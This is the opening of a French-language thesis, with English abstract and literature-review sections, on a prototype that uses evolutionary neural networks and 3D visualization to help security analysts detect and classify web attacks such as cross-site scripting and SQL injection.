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Résumé  
 

 

 

“AIDE À LA SURVEILLANCE DE L’APPLICATION D’UNE POLITIQUE DE 

SÉCURITÉ DANS UN RÉSEAU PAR PRISE DE CONNAISSANCE D’UN GRAPHE 

DE FONCTIONNEMENT DU RÉSEAU” 

 

RÉSUMÉ   

 

Dans ce mémoire nous étudions la possibilité d'appliquer la visualisation et l'analytique 

visuelle dans le contexte de l'analyse de données pour la sécurité des réseaux. En 

particulier nous avons étudié la sécurité web Internet et en employant une représentation 

visuelle "intelligente" des attaques web nous avons extrait la connaissance à partir d'un 

graphe de fonctionnement du réseau. 

Pour atteindre ce but nous avons conçu et développé un prototype d’un système 

intelligent. Ce système est une aide à la surveillance pour l'analyste de sécurité et 

l’administrateur web en lui offrant un outil visuel facile à utiliser pour détecter des 

anomalies dans des requêtes web en surveillant et explorant les graphiques 3D, ainsi 

que pour comprendre rapidement le genre d'attaque en cours d’exécution au moyen de 

couleurs et en ayant la possibilité de naviguer dans les données de la requête web, du 

trafic normal ou malveillant, pour une analyse complémentaire et une réponse 

appropriée. 

Les parties fondamentales d'un tel système sont l’intelligence artificielle et la 

visualisation. Un système évolutionnaire de réseaux de neurones artificiels combinant 

les réseaux de neurones et les algorithmes génétiques s'est avéré idéal pour la tâche de 

classification des attaques web. 

 

Mots-clés: Visualisation, analytique visuelle, visualisation intelligente, sécurité de 

l'information, aide à la surveillance, détection d'intrusion, attaques web, sécurité de 

réseau, visualisation web, réseaux de neurones artificiels évolutionnaires, systèmes 

experts. 

 



Abstract 
 

 

 

“NETWORK SECURITY POLICY SURVEILLANCE AID USING INTELLIGENT 

VISUAL REPRESENTATION AND KNOWLEDGE EXTRACTION FROM A 

NETWORK OPERATION GRAPH” 

 

ABSTRACT  

 

In this thesis we study the possibility of applying visualization and visual analytics in 

the context of data analysis for network security. In particular, we studied Internet web 

security and by using an “intelligent” visual representation of web attacks we extracted 

knowledge from a network operation graph. 

To achieve this goal we designed and developed an intelligent prototype system. This 

system is a surveillance aid for the security and web analyst, offering him/her a user 

friendly visual tool to detect anomalies in web requests by monitoring and exploring 3D 

graphs, to understand quickly the kind of undergoing attack by means of colours and the 

ability to navigate into the web request payload, of either normal or malicious traffic, 

for further analysis and appropriate response. 

The fundamental parts of such a system are Artificial Intelligence and Visualization. A 

hybrid expert system such as an Evolutionary Artificial Neural Network proved to be 

ideal for the classification of the web attacks. 

 

Keywords: Visualization, visual analytics, intelligent visualization, information 

security, surveillance aid, intrusion detection, web attacks, network security, web 

visualization, evolutionary neural networks, expert systems. 
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 Chapitre 1  

 Introduction générale  

1.1  Introduction 

Avec la croissance rapide de l'intérêt pour l'Internet, la sécurité des réseaux est devenue 

un souci important pour les entreprises et les organisations du monde entier. Le fait que 

l'information et les outils nécessaires pour pénétrer la sécurité des réseaux des 

entreprises sont largement disponibles aujourd’hui a augmenté ce souci. En raison de 

cette concentration accrue sur la sécurité des réseaux, les administrateurs des réseaux 

dépensent souvent plus d'efforts pour la protection que pour l'installation et 

l'administration de leurs réseaux. Les outils qui explorent les vulnérabilités des 

systèmes, tels que le “Security Administrator Tool for Analysing Networks”  (SATAN), 

et certains logiciels de balayage et de détection d'intrusion disponibles dernièrement 

aident dans ces efforts, mais ces outils soulignent seulement des points de faiblesse et ne 

peuvent pas fournir des moyens de protection des réseaux contre toutes les attaques 

possibles. Ainsi, un administrateur de réseau doit constamment essayer de suivre la 

progression du grand nombre de problèmes de sécurité qui l’entoure  tous les jours. 

Quand on connecte son réseau privé à l'Internet, celui-ci relie physiquement son réseau 

à plus de 50.000 réseaux inconnus et à tous leurs utilisateurs. Bien que de telles liaisons 

ouvrent la porte à beaucoup d'applications utiles et présentent de grandes opportunités 

au partage de l'information, la plupart des réseaux privés contiennent des données qui ne 

devraient pas être partagées avec les utilisateurs extérieurs d'Internet. En outre, tous les 

utilisateurs d'Internet ne sont pas impliqués dans des activités légales. 

1.1.1  Sécurité web 

Dans cette thèse nous nous concentrerons sur la sécurité web, car le World Wide Web 

est le service d'Internet le plus répandu aujourd'hui. En outre, les sites web sont 

susceptibles d'être régulièrement balayés et attaqués par des moyens, automatiques et 
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manuels, et donc les organisations, les entreprises et les individus s’efforcent de 

développer et de maintenir des sites web sécurisés.  

Avec l'explosion récente d'Internet, du commerce électronique, et des applications web, 

une présence sur Internet est maintenant essentielle pour toutes les entreprises et les 

organisations. Les utilisateurs attendent, et dans certains cas exigent, de communiquer 

avec une organisation ou entreprise à l’aide du web. En raison de cette tendance, 

beaucoup d'organisations s’intéressent à déployer non seulement des sites web avec du 

contenu statique, mais également des applications web riches qui permettent à des 

utilisateurs d'acheter des marchandises et des services, de communiquer avec lesdites 

organisations, d’avoir à leur disposition un support à la clientèle, de contrôler leurs 

comptes et d’exécuter beaucoup d'autres tâches.   

Cependant, nombre de fois la sécurité et le développement des "meilleures pratiques" 

sont négligés pour privilégier une facilité d'utilisation et la vitesse de disponibilité sur le 

marché. En outre, la plupart des administrateurs de systèmes ont rarement l’occasion de 

communiquer avec des équipes de développement pendant la phase d’écriture des 

applications. Comme ils sont administrateurs de systèmes, une de leurs fonctions 

principales est de maintenir l'intégrité et la sécurité de leurs systèmes et réseaux. 

Cependant, même le plus imprenable des systèmes peut être rapidement compromis en 

exploitant une application sans sécurité qui fonctionne sur cette plateforme. Nulle part 

cette affirmation n’est plus évidente que sur le web.  

Le profil des menaces pour les grandes entreprises s’est incontestablement déplacé des 

niveaux des couches réseau à des attaques plus dangereuses contre des applications, 

principalement des applications et des services web. 

Selon un rapport récent publié par le groupe de “Common Vulnerabitities and 

Exposures” [CVE 06], les défauts dans le logiciel web sont, cette année, parmi les 

problèmes de sécurité les plus rapportés jusqu'à maintenant. Il est facile de voir 

pourquoi. Les pirates sont connus pour rechercher une cible facile. Les applications web 

mal configurées ou mal écrites sont non seulement une cible facile, conduisant les 

attaquants directement à leur but (accès aux données et au système), mais peuvent 

également être utilisées pour diffuser un logiciel malveillant (malware) comme des 

virus, des vers, des chevaux de Troie ainsi que des spyware à n'importe quelle personne 

qui visite le site compromis. 

L'augmentation du nombre de telles applications défectueuses indique que beaucoup de 

développeurs, ou les organisations et les entreprises pour lesquelles ils travaillent, 
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n'apprécient pas complètement ni l'environnement dans lequel leurs applications 

fonctionnent ni les langages utilisés pour leur développement. 

S’agit-il d’un problème  d'éducation? 

Des langages de scripts "facile à apprendre" permettent à quelqu'un comprenant 

aisément la conception graphique de développer et de programmer des applications web 

puissantes. Malheureusement, beaucoup de développeurs prennent la peine d'apprendre 

seulement les caractéristiques attirantes d'un langage et non pas les problèmes de 

sécurité qui doivent être pris en compte. En outre, plusieurs livres d'introduction sur la 

programmation évitent de parler de la sécurité. En conséquence, plusieurs des mêmes 

vulnérabilités qui étaient problématiques pour des développeurs il y a plusieurs années 

restent un problème aujourd'hui également. C'est peut-être pourquoi l’attaque du type 

Cross Site Scripting (CSS ou XSS) est maintenant le type d’attaque le plus commun des 

attaques de couche application, alors que la vulnérabilité de “buffer overflow ”, qui était 

éternellement le numéro 1, est tombée à la quatrième place. Deux autres vulnérabilités 

d'application web, les injections de type SQL et les insertions de fichiers à distance de 

type PHP, figurent aujourd’hui en deuxième et troisième places. Une description plus 

détaillée de ces attaques sera donnée dans les chapitres suivants. 

1.1.2  Détection d'Intrusion 

Actuellement, les analystes de sécurité font face à une charge de travail croissante 

pendant que leurs environnements se développent et que les attaques deviennent de plus 

en plus fréquentes. Les systèmes de détection d'intrusion (IDS) sont une partie 

indispensable de l'infrastructure de sécurité de l'information de chaque entreprise de 

réseau ou organisation. Les analystes de sécurité surveillent les activités de réseau en 

utilisant un système IDS pour détecter des actions qui essaient de compromettre 

l'intégrité, la confidentialité ou la disponibilité d'un réseau ou d'une ressource 

informatique. Ils surveillent également sans interruption les messages ou alarmes des 

systèmes de détection d'intrusion (IDS). Ils emploient cette information en même temps 

que d'autres messages (logs) du système d’exploitation, du réseau et des pare-feux pour 

surveiller l’activité du système et des attaques. Cependant, les systèmes IDS de réseaux 

ont des défauts, tels que les fausses alarmes, ou des problèmes de fonctionnement dans 

les environnements à grande vitesse et la difficulté de détecter des menaces inconnues. 

La protection d'une application contre les attaques exige une compréhension complète 

de toutes les communications de l’application. À moins qu'un appareil de sécurité puisse 
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"voir" les mêmes données que l'application protégée, il ne pourra pas identifier des 

menaces de couche application. Cela signifie que pour sécuriser n'importe quelle 

application web populaire, un dispositif de sécurité doit pouvoir aussi bien établir la 

reconstruction des données de type HTML (Hyper Text Markup Language), que suivre 

la trace de chaque session d'application. 

Pratiquement toutes les applications web qui traitent les données d’un client ou d’une 

entreprise utilisent une codification de type SSL (Secure Sockets Layer) pour protéger 

la confidentialité et l'intégrité des données pendant leur transmission.  

Bien que la sécurité de SSL soit devenue une technologie cruciale pour les sites web de 

commerce électronique, elle a également fourni aux pirates un outil utile pour échapper 

à la détection. Il est souvent trivial pour un pirate d’établir une session SSL-chiffrée 

avec une application web d'Internet. Une fois que la session chiffrée est établie, un 

envahisseur peut lancer une attaque contre l'application sachant que le tunnel de SSL 

enveloppera toute l'activité malveillante. Les dispositifs de sécurité intermédiaires de 

couche réseau, tels que les pare-feux et les systèmes d'empêchement d'intrusion (IPS) ne 

participent pas au processus de l’encryption SSL et ils sont donc confinés à laisser 

passer aveuglément  le trafic SSL, sans inspection. 

La sécurité de couches application peut seulement être appliquée si le trafic, chiffré par 

SSL, est déchiffré dans sa forme originale textuelle avant sa validation. Ceci exige une 

participation complète dans le processus de chiffrage SSL. Même après le déchiffrage et 

la validation de sécurité, les environnements sensibles peuvent exiger le re-chiffrage de 

l’information avant son expédition au serveur web de destination, assurant de ce fait de 

bout en bout la confidentialité des données.   

Il est technologiquement impossible qu’un appareil informatique puisse comprendre des 

communications d'application ou analyser le comportement d'application par 

l'inspection profonde des paquets IP, qu’ils soient séparés ou rassemblés dans leur ordre 

original. Les pare-feux de réseau et les systèmes d'empêchement d'intrusion (IPS) sont 

utiles pour valider le format d'information d'un entête d'application pour assurer la 

conformité aux normes. En outre, les dispositifs de sécurité de couches réseau peuvent 

détecter un nombre restreint d'attaques connues et facilement identifiables en 

recherchant les empreintes préprogrammées (c.-à-d. signatures d'attaque) dans un flot de 

HTTP.  

Malheureusement, sans aucune connaissance de données de HTML ou du contexte 

d’une session, les dispositifs qui fonctionnent exclusivement sur l'inspection des paquets 
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IP échoueront pour détecter la grande majorité de malveillances de couches application. 

Par exemple, l'inspection de paquet IP ne peut pas détecter un pirate qui avec 

malveillance a modifié des paramètres dans une demande de URL (Uniform Resource 

Locator). 

1.1.3  Visualisation 

Il y a un nombre considérable de logiciels d’analyse web disponibles, soit des systèmes 

commerciaux ou expérimentaux, qui fournissent des informations sur le contenu, la 

structure et l'utilisation des sites web. Des analyseurs web existent sous toutes les 

formes et tailles. Certains représentent mieux la structure, tandis que d'autres sont 

optimisés pour examiner le contenu. Des offres commerciales aident à contrôler de 

grands sites web en fournissant une navigation graphique, des techniques d'analyse et de 

navigation conceptuelle à travers des données. Avec la sécurité web et la détection 

d'intrusion il y a cependant un manque d'outils de visualisation pour des activités de 

surveillance et d'analyse.  

La source la plus importante d'information pour des analystes de sécurité est la sortie 

des messages d’un système  IDS, messages qui identifient automatiquement les attaques 

potentielles et produisent des alertes descriptives. En raison de la complexité de 

détection des intrusions réelles, la plupart des systèmes IDS courants déplacent le 

problème de distinguer une attaque réelle d'un grand ensemble d'alarmes fausses sur 

l'analyste de sécurité, ayant pour résultat une charge cognitive significative. 

Cette charge cognitive à l'analyste de sécurité peut être atténuée en utilisant la 

Visualisation de l'Information (VI). La visualisation combinée avec l'Intelligence 

Artificielle (IA) tirera profit des capacités perceptuelles humaines et de l’expertise pour 

amplifier la connaissance. 

Bien que la visualisation de l'information semble comme un choix normal pour la 

détection d'intrusion, jusque à récemment il y a eu peu de recherches réalisées pour 

coupler les deux technologies. 

1.1.4  Analyse visuelle de données 

Jamais précédemment des données n’ont été produites à des volumes aussi élevés 

qu’aujourd’hui. Alors que la capacité de rassembler et d’accumuler des nouvelles 

données se développe rapidement, l’exploration et l’analyse de vastes volumes de 

données sont devenues de plus en plus difficiles. Cette différence mène à de nouveaux 
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défis dans le processus d'analyse. Les analystes, les décideurs, les ingénieurs ou les 

équipes de réponse de secours dépendent de l'information cachée dans les données. Le 

champ naissant d’analytique visuelle se concentre sur la manipulation des volumes 

massifs, hétérogènes et dynamiques d'information en intégrant le jugement humain au 

moyen de représentations visuelles et techniques d'interaction dans le processus 

d'analyse. 

Les outils et les techniques de visualisation sont actuellement plutôt faibles en ce qui 

concerne les grands volumes de données et de structures complexes. Sans compter 

l'imperfection des outils existants il y a une raison plus fondamentale à ceci. Dans 

l'exploration visuelle et l'analyse, c'est l'esprit d'un explorateur humain qui est l'outil 

primaire de l'analyse. C'est la tâche de l'esprit humain de dériver des aperçus, "détecter, 

prévoir et découvrir l'inattendu", tandis que la tâche de la visualisation est définie 

comme, "rendre l'information perceptible à l'esprit ou à l'imagination". Cependant, 

l'esprit humain a des limitations naturelles quant à la quantité d’informations qui peut 

être efficacement perçue. Par conséquent, il est souvent impossible de visualiser toutes 

les données qui doivent être analysées de telle manière que l'analyste puisse les 

percevoir toutes sans pertes substantielles. 

L'analytique visuelle (AV) est la science du raisonnement analytique soutenue par les 

interfaces visuelles interactives. L’analytique visuelle tire profit des capacités de 

perception humaine et peut être décrite comme l’habileté “ à trouver des structures de 

connaissance dans un grand ensemble de données connues et inconnues par l'interaction 

visuelle et la réflexion ”. Plusieurs nouvelles tendances émergent de l’ AV et parmi les 

plus importantes figurent la fusion des techniques de visualisation avec d'autres 

domaines tels que les sciences cognitives et perceptuelles, la statistique analytique, les 

mathématiques, la représentation de la connaissance, l'exploitation de données et le GIS 

pour favoriser des avances multilatérales.  

L'idée fondamentale de l'analytique visuelle est de représenter visuellement 

l'information, permettant à l'humain d'agir directement avec elle, de prendre 

connaissance, de tirer des conclusions et prendre finalement de meilleures décisions. La 

représentation visuelle d'informations réduit le travail cognitif complexe requis pour 

accomplir certaines tâches. Les gens utilisent des outils d’analytique visuelle et des 

techniques pour synthétiser l'information et dériver la connaissance des données 

massives, dynamiques et souvent contradictoires en fournissant des évaluations 

opportunes, défendables et compréhensibles. 
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Le but de la recherche de l’analytique est de transformer la surcharge de l'information 

en événements ponctuels. Des décideurs pourraient ainsi examiner un lot d’informations 

massif, multidimensionnel, multi sources, changeant à temps pour prendre des décisions 

efficaces dans des situations de durées critiques. L'avantage spécifique de l'analytique 

visuelle est que les décideurs peuvent concentrer leurs capacités  cognitives et 

perceptuelles sur le processus analytique, tout en pouvant appliquer des possibilités 

informatiques avancées pour augmenter le processus de découverte.  

Portée de l'analytique visuelle 

L'analytique visuelle est un processus interactif qui implique le rassemblement 

d'informations, le prétraitement de données, la représentation de la connaissance, 

l'interaction et la prise de décisions. Le but final est d’acquérir la connaissance sur un 

problème actuel qui est décrit par de vastes quantités de données commerciales, 

scientifiques ou de sources hétérogènes. Pour réaliser ce but, l'analytique visuelle 

combine les avantages des machines avec la capacité des humains. Tandis que les 

méthodes de découverte de la connaissance dans les bases de données, les statistiques et 

les mathématiques sont la force principale du côté automatique d'analyse, les 

possibilités pour percevoir, rapporter et conclure transforment l'analytique visuelle en 

un champ de recherche très prometteur. 

Les domaines de visualisation d’information et de visualisation scientifique traitent les 

représentations visuelles des données. La visualisation scientifique examine des 

quantités potentiellement énormes de données scientifiques obtenues à partir de sondes, 

de simulations ou d’essais en laboratoire avec des applications typiques comme la 

visualisation de flux, des techniques de “rendering” et “slicing” pour les applications 

médicales. Dans la plupart des cas, quelques aspects des données peuvent être 

directement transformés en des coordonnées géographiques ou en des environnements 

3D virtuels. 

L'analytique visuelle est plus que seulement une visualisation et peut être vue plutôt 

comme une approche intégrale combinant la visualisation, les facteurs humains et 

l'analyse de données. En ce qui concerne le domaine de la visualisation, l'analytique 

visuelle intègre la méthodologie de l'analytique de l'information, de l'analytique 

géospatiale et de l'analytique scientifique. Les facteurs humains comme l'interaction, la 

connaissance, la perception, la collaboration, la présentation et la dissémination jouent 

un rôle primordial dans la communication entre l'humain et les ordinateurs, aussi bien 

que dans le processus décisionnel. Dans les sujets de l'analyse de données, l’analytique 
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visuelle profite des méthodologies qui sont développés dans les domaines de la gestion 

des données et de la représentation de la connaissance, de la découverte de la 

connaissance et de la statistique analytique. 

Mantra d'analytique visuelle 

Contrairement au mantra de recherche d’information "vue d'ensemble de l'information 

d'abord, zoom/filtrer, détails sur demande" l’analytique visuelle comporte l'application 

des méthodes automatiques d'analyse avant et après l’emploi de la représentation 

visuelle interactive. C'est principalement dû au fait que les courants et particulièrement 

les futurs lots de données sont d'une part complexes et d'autre part trop grands pour être 

visualisés d'une façon compréhensible. Par conséquent, le mantra d'analytique visuelle 

est présenté par [Keim 06] comme : 

"analyser d'abord   

 montrer l'important  

 zoomer, filtrer et analyser ensuite  

 détails sur demande ". 

1.2  Objectifs et méthodologie de recherche 

La question fondamentale de ce travail est la suivante : est-il possible d’appliquer le 

mantra d'analytique visuelle dans le contexte de l'analyse de données pour la sécurité 

des réseaux? Pouvons-nous obtenir une représentation visuelle "intelligente" des 

attaques web et extraire la connaissance à partir d'un graphe de fonctionnement du 

réseau?  

Pour répondre à cette question nous avons dû d'abord trouver une manière de capturer et 

d’analyser les données brutes afin de distinguer les attaques web de requêtes web 

normales. Ensuite nous avons dû trouver une manière de distinguer les différents types 

d'attaques web et finalement de visualiser les données intéressantes et de montrer les 

choses importantes à l'analyste de sécurité.  

Pour atteindre ce but nous avons dû désigner et développer un prototype d’un système 

intelligent. Ce système devait être une aide à la surveillance pour l'analyste de sécurité 

en lui offrant un outil visuel facile à utiliser pour détecter des anomalies dans des 

requêtes web en explorant les graphiques 3D, ainsi que pour comprendre rapidement le 

genre d'attaque en cours d’exécution au moyen des couleurs et en ayant la possibilité de 
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naviguer dans les données de la requête web pour une analyse complémentaire et une 

réponse appropriée. 

La visualisation des données brutes est en général impraticable et signale rarement 

toutes les informations importantes. Par conséquent, les données sont d'abord analysées 

(c.-à-d. analyse de détection d'intrusion) et ensuite montrées. L'analyste procède en 

choisissant un petit sous-ensemble soupçonné des incidents d'intrusion enregistrés en 

appliquant des filtres et des opérations d’agrandissement (zoom). En conclusion, ce 

sous-ensemble des données est employé pour une analyse plus soigneuse. La 

connaissance est acquise au cours du processus total d'analytique visuelle. Dans le 

prototype nous avons choisi de visualiser les attributs les plus importants des données 

brutes également, pour des raisons qui seront expliquées plus tard. Des données brutes 

devaient pouvoir être capturées en ligne à partir du trafic de réseau mais le système 

devait comporter également  l’option pour traiter des “web logs”. 

Cette recherche couvre les objectifs suivants : 

Objectif 1 :Enregistrement de toutes les attaques web connues aujourd’hui. 

Les attaques web couvrent deux types: attaques serveurs web et attaques applications 

web. 

Les deux serveurs web les plus populaires sont l’Internet Information Services (IIS) de 

Microsoft et le web serveur d'opensource Apache. Les deux serveurs, grâce à leur 

popularité, dominent le secteur de serveurs web, bien que beaucoup d'autres serveurs 

existent. 

Beaucoup d’ attaques de serveurs web sont basées sur un grand nombre de 

vulnérabilités des modules du logiciel du serveur, tels que l’ “Active Server Pages” 

(ASP), le “Microsoft Data Access Components (MDAC)”, le “Remote Data Service 

(RDS)”, l'Internet Explorer (IE) et de nombreux autres. 

Les attaques de la couche application web peuvent être classifiés en: 

1. attaques essayant de compromettre l'intégrité ou la disponibilité des ressources 

d'application, ou  

2. attaques visant à compromettre la relation de confiance entre un utilisateur 

d'application et l'application. 

Objectif 2 : Regroupement des attaques web en classes 
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En raison du grand nombre d'attaques web disponibles, une méthode automatisée de 

classification devrait être développée pour classifier les attaques web et pour créer des 

groupes ou des classes d’attaques similaires. Pour réaliser cette tâche l’Intelligence 

Artificielle (IA) a été employée et spécifiquement la technologie de réseaux de neurones 

non supervisés.  

Objectif 3 : Détection et classification des attaques web  

Cet objectif était le plus important et couvre la détection d’une attaque web en utilisant 

des moyens automatisés. Il a nécessité la création d’une base de données de la 

connaissance en utilisant l'intelligence artificielle et l’apprentissage de réseaux de 

neurones. Des réseaux de neurones artificiels (Artificial Neural Network) ont été 

principalement employés pour entraîner la machine à identifier les différents genres 

d'attaques web. Le système examine des requêtes web pour détecter des "empreintes 

digitales" qui sont des caractères spéciaux ou de chaînes des caractères. Ces empreintes 

digitales sont alors passées à un système expert pour déterminer si elles constituent une 

requête web normale ou une attaque malveillante. 

En raison de quelques inconvénients des réseaux de neurones qui sont apparus après les 

premiers tests, un système expert hybride a été employé finalement comme base de 

données de la connaissance. C’est un système évolutionnaire de réseaux de neurones 

artificiels (Evolutionary Artificial Neural Network) combinant les réseaux de neurones 

et les algorithmes génétiques pour la classification des attaques web. 

Le rôle du système expert est d'éliminer les fausses alarmes en consultant la base de 

données de la connaissance, tâche qui est absente dans les systèmes basés sur les règles 

de décision  (rule-based). Les attaques web peuvent être rejetées par le serveur ou au 

contraire peuvent réussir à cause des faiblesses de sécurité. Si l’attaque réussit et qu’une 

pénétration se produit l'analyste de sécurité doit réagir car le prototype ne résout pas les 

dommages provoqués par une attaque. Il devient seulement un dispositif de 

surveillance.  

Objectif 4 : Visualisation Intelligente   

Cet objectif couvre la dernière étape du mantra d'analytique visuelle. Un outil visuel 

facile à utiliser devrait présenter en permanence le trafic normal et malveillant à 

l'analyste de sécurité. La sortie du système expert devrait être transformée en graphique 

3D pour l'interprétation visuelle. Le trafic malveillant possible comme le trafic normal 
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devraient être facilement repérés. Pour distinguer les différentes classes d'attaques un 

dispositif attirant est nécessaire pour aider l'analyste à identifier l'attaque et la relier avec 

un autre trafic suspect. Pour accomplir ceci nous avons utilisé la coloration pour les 

différentes classes des attaques, et avons choisi des couleurs chaudes pour les attaques 

les plus dangereuses telles que des injections de commande ou de code. 

Objectif 5 : Évaluation de performance du prototype  

Enfin une méthode pour mesurer la performance du prototype devrait être développée. 

Pour réaliser cette tâche un module de statistiques a dû être conçu afin d'analyser le 

fonctionnement du classificateur. 

Dans ce module des statistiques devraient être gardées dans le genre de trafic suivant: 

• Attaques présentes et correctement détectées  

• Attaques absentes mais attaques détectées ou mal classifiées (fausses alarmes)   

• Attaques actuelles mais non détectées 

• Trafic normal. 

1.3  Grandes lignes de la thèse 

Ce travail présente l'analyse, le développement et l'implémentation du prototype d'un 

système permettant de créer une représentation visuelle "intelligente" des attaques web 

et d’extraire la connaissance à partir d'un graphe de fonctionnement du réseau. 

L’objectif de ce mémoire est l’étude d’un outil de visualisation de l’information 

intelligent pour une prise de connaissance rapide et intuitive des intrusions dans un 

réseau.  L’objectif n’est pas de faire progresser les techniques existantes de détection en 

termes de résultats. L’outil proposé améliorera la réponse de l’administrateur à une 

attaque, en lui fournissant une meilleure compréhension de celle-ci. 

Après cette introduction, le deuxième chapitre présente une vue d'ensemble de la 

littérature des domaines relatifs à la recherche utilisée dans ce travail. Ces domaines de 

recherches couvrent la sécurité de réseaux et les systèmes de détection d'intrusions, 

l'intelligence artificielle et la visualisation de l'information. Ce chapitre se compose de 

quatre sections: 

La première section présente une brève terminologie de sécurité de réseaux et une 

description des architectures de détection d'intrusions et des systèmes de détection 

d'intrusions. Les trois types d'architectures de détection d’intrusion sont les architectures 
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“single-tiered”, “multi-tiered” et “peer-to-peer”. Il y a deux catégories principales de 

détection d'intrusion: la détection basée sur les règles de décision également connue 

sous le nom de détection de signatures, “pattern-matching”, ou “misuse detection” et la 

détection d'anomalies, également désignée sous le nom de la détection basée sur le 

profil. Dans cette section une description de ces deux catégories précise les 

inconvénients de la plupart des systèmes commerciaux de détection d’intrusion basés 

aussi bien sur la détection de règles de décision que sur les méthodes de détection de 

profil. 

La deuxième section présente les vulnérabilités d’applications web, comme les 

vulnérabilités de scripts (PHP, Perl) et les vulnérabilités de bases de données (SQL), 

ainsi que les vulnérabilités de type Cross Site Scripting. 

La troisième section donne une courte description des systèmes experts les plus 

populaires tels que les systèmes basés sur les règles, les systèmes experts de logique 

floue, les réseaux de neurones et l'approche évolutionnaire de calcul telle que des 

algorithmes génétiques, les stratégies d'évolution et la programmation génétique. 

Faisant suite à cette description, une comparaison des systèmes experts précise les 

avantages et les inconvénients de ces systèmes et justifie la raison pour laquelle nous 

avons à l'origine choisi la technologie de réseaux de neurones comme plateforme pour 

l'étude d’apprentissage machine et la base de connaissance du prototype. À la fin de 

cette section une brève présentation est donnée sur les systèmes intelligents hybrides les 

plus populaires, comme les systèmes experts de neurones, les systèmes neuro-flous, les 

réseaux évolutionnaires de neurones artificiels et les systèmes évolutionnaires flous. Les 

réseaux évolutionnaires de neurones seront la plateforme finale pour la base de 

connaissance du prototype.  

La quatrième section donne une courte description des motivations, des concepts, des 

techniques et des principes de visualisation. Elle présente ensuite le cadre de 

visualisation de l'information pour des analystes de sécurité, se concentrant sur les 

tâches d’analystes de sécurité, leurs besoins et leurs demandes pour des outils de 

visualisation de l'information pendant les différentes phases de leur travail comme la 

surveillance, l'analyse et la réponse. 

Le troisième chapitre se concentre sur la recherche qui est faite pour désigner et 

développer le prototype d’un système et couvre les quatre sections suivantes : 

La première section décrit la politique de sécurité de réseaux, politique traitée par le 

système, qui est la sécurité web et donne une description détaillée de toutes les 
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vulnérabilités connues du serveur web.  La deuxième section couvre les algorithmes et 

les méthodes employées pour la phase d'apprentissage machine du système. Ces 

algorithmes sont liés aux réseaux de neurones artificiels, qui ont été employés dans 

notre prototype. Après une présentation théorique des réseaux de neurones montrant 

qu’ils sont simplement des approximations de fonctions, une description courte de 

l'algorithme de Backpropagation est donnée pour décrire la phase d'apprentissage des 

réseaux de neurones dirigés. 

Comme les algorithmes génétiques sont employés pour optimiser la phase de formation 

d'un réseau de neurones, une description de leur fonction ainsi qu'une description des 

opérateurs génétiques tels que le croisement et la mutation sont aussi présentées. En 

conclusion, la troisième section donne une vue d'ensemble mondiale des recherches sur 

les domaines relatifs à la détection d'intrusion, à la détection d'intrusion web, aux 

réseaux évolutionnaires de neurones artificiels et à la visualisation dans des systèmes de 

détection d'intrusion. 

Le quatrième chapitre décrit les classes d’attaques web utilisées. Le réseau de neurones 

non supervisé est employé pour ventiler automatiquement les différentes attaques web 

en classes. Le système utilisé a été basé sur le théorème adaptatif de résonance (ART) 

qui est décrit brièvement dans cette section. Ensuite, il présente le prototype d’un 

système et décrit en détail tous les modules développés. Ces modules sont le module de 

capture des données, le module de pré-processeur, le module de base de connaissance, 

le module de générateur graphique et le module d'analyse statistique. Le module de 

capture des données choisit les données brutes en ligne à partir du trafic de réseau ou à 

partir des messages stockés (logs) du serveur web. Le module de pré-processeur analyse 

les paquets pour déterminer s'ils se composent de trafic normal ou malveillant. Le 

module de base de connaissance classifie le trafic malveillant basé sur la connaissance 

acquise après la phase de formation. Ce module a également la capacité de découvrir de 

nouvelles attaques. Le module de générateur graphique prépare la visualisation des 

données de requêtes web, normales ou malveillantes. En conclusion, le module 

d'analyse statistique garde les résultats du classificateur afin d'évaluer la performance du 

système à une date ultérieure.  

Une section séparée dans ce chapitre couvre l'analyse de données de formation en 

calculant les valeurs d'entropie pour l’ensemble des données. Cette analyse nous assure 

que les données utilisées pour l’apprentissage contiennent de la connaissance et que 

l'incertitude est enlevée de la formation du réseau de neurones. En plus, des résultats de 
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performance, basés sur des données tests et des données d’apprentissage, sont calculés 

pour le réseau de neurones et le système évolutionnaire hybride de réseau de neurones. 

Les résultats prouvent que le système hybride est mieux adapté pour la base de 

connaissance du classificateur.  

La dernière section mesure la performance du prototype en termes de probabilité de 

détection, de probabilité de détection fausse et de probabilité de détection manquée. 

Dans la première partie une description théorique de classification est présentée, basée 

sur la règle de décision de Neyman-Pearson. Cette partie montre combien il est 

compliqué de calculer des taux d'erreurs et de rejets d'un classificateur et précise la 

méthode que nous avons choisie afin de réduire la complexité des calculs, en utilisant 

des estimateurs efficaces et des transformations monotoniques. En conclusion, à la fin 

de ce chapitre la courbe ROC (Receiving Operating Characteristics) du prototype a été 

calculée, et montre la corrélation entre le taux d’alarmes fausses et le taux de détections 

du classificateur. 
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 Chapter 2  

 General view of literature   

2.1  Introduction 

In this chapter a literature overview of the computer science areas involved in this 

dissertation is presented. These areas are Network Security, Artificial Intelligence and 

Visualization. Firstly, a brief security terminology is given covering the different kinds 

of network attacks followed by a description of Intrusion Detection systems presenting 

the various system architectures, their major functions and the techniques used for 

Intrusion Detection. Then, a short presentation of the major web vulnerabilities, such as 

the vulnerabilities of web applications and the Cross Site Scripting vulnerabilities, is 

given below [Nizamutdinov 85]. The vulnerabilities of web applications cover the script 

vulnerabilities of the popular PHP and Perl programming languages and the database 

SQL injections. Further to this, an overview of Artificial Intelligence compares the most 

popular expert systems highlighting their advantages and disadvantages. In addition, a 

brief presentation of hybrid intelligent systems shows the ongoing research on this 

topic. Next, Information Visualization is presented, describing the concepts, 

motivations, techniques and principles. Finally, the Visualization framework for 

Intrusion Detection points out the important role of Visualization in Cyber security and 

Intrusion Detection. 

2.2  Network Security Terminology 

In order to understand the network security environment it is necessary to define some 

terms, and describe the kinds of threats and security solutions that exist today.   

Vulnerabilities: Vulnerabilities are known security holes that exist in software.  An 

example is a buffer overflow, which occurs when the developer of a software product 

expects a certain amount of data to be sent at a particular point during the runnnig 
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operation of a program, for example 20 bytes of information, but fails to generate an 

error condition when the malicious attacker sends increased data or unexpected 

characters.  Vulnerabilities can exist in software running on PC’s, servers, 

communications equipment such as routers, or almost any device running software.  

Vulnerabilities are different in that some will cause the program affected to crash, which 

can lead to a denial of service condition on the affected system, or cause a reboot, or in 

the worst case, they can allow the attacker to gain root or administrative access to the 

affected system.  Upon discovery of vulnerability, the software vendor will hopefully 

quickly develop a fix, or software patch, and make it available to users of the software. 

SANS organization [SANS 2006] maintains a list of the Top 20 most critical 

vulnerabilities that ensurers that the highest priority vulnerabilities are addressed.   

